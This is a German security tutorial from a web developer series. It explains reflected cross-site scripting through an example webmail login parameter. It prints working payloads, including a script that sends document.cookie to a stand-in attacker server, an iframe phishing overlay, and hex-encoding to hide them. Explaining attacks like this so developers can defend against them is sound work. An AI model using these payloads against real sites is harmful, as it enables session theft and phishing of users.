entwickler.com

Cross-Site Scripting, abgekürzt CSS oder XSS, ist ein weiterer weit verbreiteter Angriff auf Webanwendungen. Damit wird das Einschleusen von HTML- und JavaScript-Code in eine Webseite bezeichnet. Derartige Angriffe sind eine häufig unterschätzte Gefahr.

Voraussetzungen

Für einen Cross-Site-Scripting-Angriff benötigt der Angreifer eine Webanwendung, die Eingaben nicht ausreichend prüft, bevor sie sie als Bestandteil einer dynamischen Webseite an den Benutzer zurückgibt. Dabei ist der einfachste Fall die Fehlermeldung für eine nicht gefundene Datei mit dem Code 404. Wird dabei der Name der nicht gefundenen Datei ausgegeben, erscheint eine Meldung nach dem Muster 404 - Datei [Dateiname] nicht gefunden. Wird der Dateiname nicht ausreichend geprüft, kann ein Angreifer darüber seinen Cross-Site-Scripting-Code einschleusen.

Als Beispiel soll eine Webmail-Anwendung dienen:

http://www.mailprovider.example/webmail/login.php?user=[User-ID]

Die Eingaben in den Parameter 'user' sollen nicht ausreichend geprüft werden, bevor sie auf der Login-Seite angezeigt werden. Der Angreifer stellt nun einen Link nach seinen Vorstellungen zusammen:

http://www.mailprovider.example/webmail/login.php?user=[CSS-Code]

Dann veranlasst er einen Benutzer, diesen Link anzuklicken. Dazu kann er ihm den Link z.B. per E-Mail zuschicken. Die Daten werden nach dem Anklicken an die Webanwendung geschickt. Diese bettet die Eingabe in eine dynamisch erzeugte Webseite ein und sendet diese an den Benutzer. Der eingeschleuste Code wird im Webbrowser des Benutzers im Kontext der betroffenen Website ausgeführt. Und genau darin besteht die Gefahr: Schutzfunktionen des Webbrowsers, die aufgrund der Herkunft des JavaScript-Codes über dessen Ausführung und Rechte entscheiden, werden so umgangen. Da der JavaScript-Code anscheinend von einer vertrauenswürdigen Website stammt, wird er nicht als schädlich bzw. unerwünscht erkannt, sondern ausgeführt.

Was kann passieren?

Ein sehr einfaches Beispiel, das oft zur Demonstration verwendet wird, ist JavaScript-Code zum Öffnen einer Alertbox:

<script>alert('Cross-Site-Scripting!')</script>

Das ist vollkommen harmlos. Ein Angreifer könnte den Benutzer mit einer ganzen Folge solcher Alertboxen ärgern, aber Schaden anrichten kann er so nicht. Es geht aber weiter: Wie schon erwähnt, wird der eingeschleuste Code im Kontext der betroffenen Seite ausgeführt. Der Angreifer hat also Zugriff auf die von dieser Website gespeicherten Cookies:

<script>alert(document.cookie);</script>

Der Angreifer kann dem Benutzer so Cookies zeigen. Das ist eigentlich auch kein Grund zur Aufregung, denn die kann sich der Benutzer auch von seinem Webbrowser anzeigen lassen. Aber wieso sollte der Angreifer den Cookie überhaupt anzeigen? Er kann ihn sich ja auch an seinen eigenen Server schicken lassen:

<script>document.location='http://www.boeser-server.example/cgi-bin/
 cookieklau.cgi?'%20+document.cookie</script>

So kann sich der Angreifer Cookies seiner Opfer beschaffen. Und das ist in der Tat gefährlich, da in Cookies z.B. Authentifizierungsdaten oder Session-Informationen gespeichert werden. Beschafft sich ein Angreifer einen Session-Cookie eines Webmail-Benutzers, hat er danach Zugriff auf dessen Mailkonto, sofern es keine weiteren Schutzmaßnahmen gibt.

Es geht aber noch weiter: Wird Code für einen IFRAME-Tag mit Höhe und Breite von 100 Prozent eingeschleust, kann der Angreifer seine eigenen Inhalte unter der vertrauenswürdigen Adresse anzeigen:

<iframe SRC="http://www.boeser-server.example/datenklau.html" height ="100%" width="100%"></iframe>

Als URL für die Beispiel-Webmailanwendung ergibt das dann

http://www.mailprovider.example/webmail/login.php?user=
 <iframe SRC="http://www.boeser-server.example/datenklau.html"
 height ="100%" width="100%"></iframe>

Ideal für Phishing-Angriffe: Das Opfer sieht in der Adresszeile die Adresse einer vertrauenswürdigen Webseite, gibt seine Daten aber tatsächlich in ein Formular vom Server des Angreifers ein. Da diese Form des URL ziemlich auffällig ist, kann der Angreifer seinen einzuschleusenden Code auch tarnen, indem er ihn als Hexadezimal-Werte schreibt. Aus

<iframe SRC=

wird dann

%3c%69%66%72%61%6d%65%20%53%52%43%3d

usw.:

http://www.mailprovider.example/webmail/login.php?user=
 %3c%69%66%72%61%6d%65%20%53%52%43%3d...

Der URL ist zwar immer noch auffällig lang, aber der Benutzer kann keinen verdächtigen Text mehr erkennen. Außerdem sind lange URLs nicht ungewöhnlich, nur im direkten Vergleich zur Original-URL fällt der manipulierte Parameter auf.

Nachdem Sie nun wissen, was Cross-Site Scripting ist und was ein Angreifer damit erreichen kann, geht es in der nächsten Folge um die Frage, wie der Angreifer seinen Code einschleusen kann und wie die Entwickler von Webanwendungen dessen Ausführung verhindern können.

Carsten Eilers

About Security – Übersicht zum aktuellen Thema "Sichere Webanwendungen"

• About Security #11: SQL Injection
• About Security #12: SQL Injection verhindern
• About Security #13: Mit Stored Procedures gegen SQL-Injection
• About Security #14: Cross-Site Scripting
• About Security #15: Cross-Site Scripting verhindern
• About Security #16: Skriptcode einschleusen
• About Security #17: HTTP Request Smuggling
• About Security #18: Spielarten des HTTP Request Smuggling, 1
• About Security #19: Spielarten des HTTP Request Smuggling, 2
• About Security #20: HTTP Request Smuggling erkennen und verhindern
• About Security #21: HTTP Response Splitting, 1
• About Security #22: HTTP Response Splitting, 2
• About Security #23: Caches vergiften
• About Security #24: Caches indirekt vergiften
• About Security #25: Entführen von Webseiten
• About Security #26: Gefahren für Webanwendungen
• About Security #27: Gefahren für Webserver
• About Security #28: Standorte für Webserver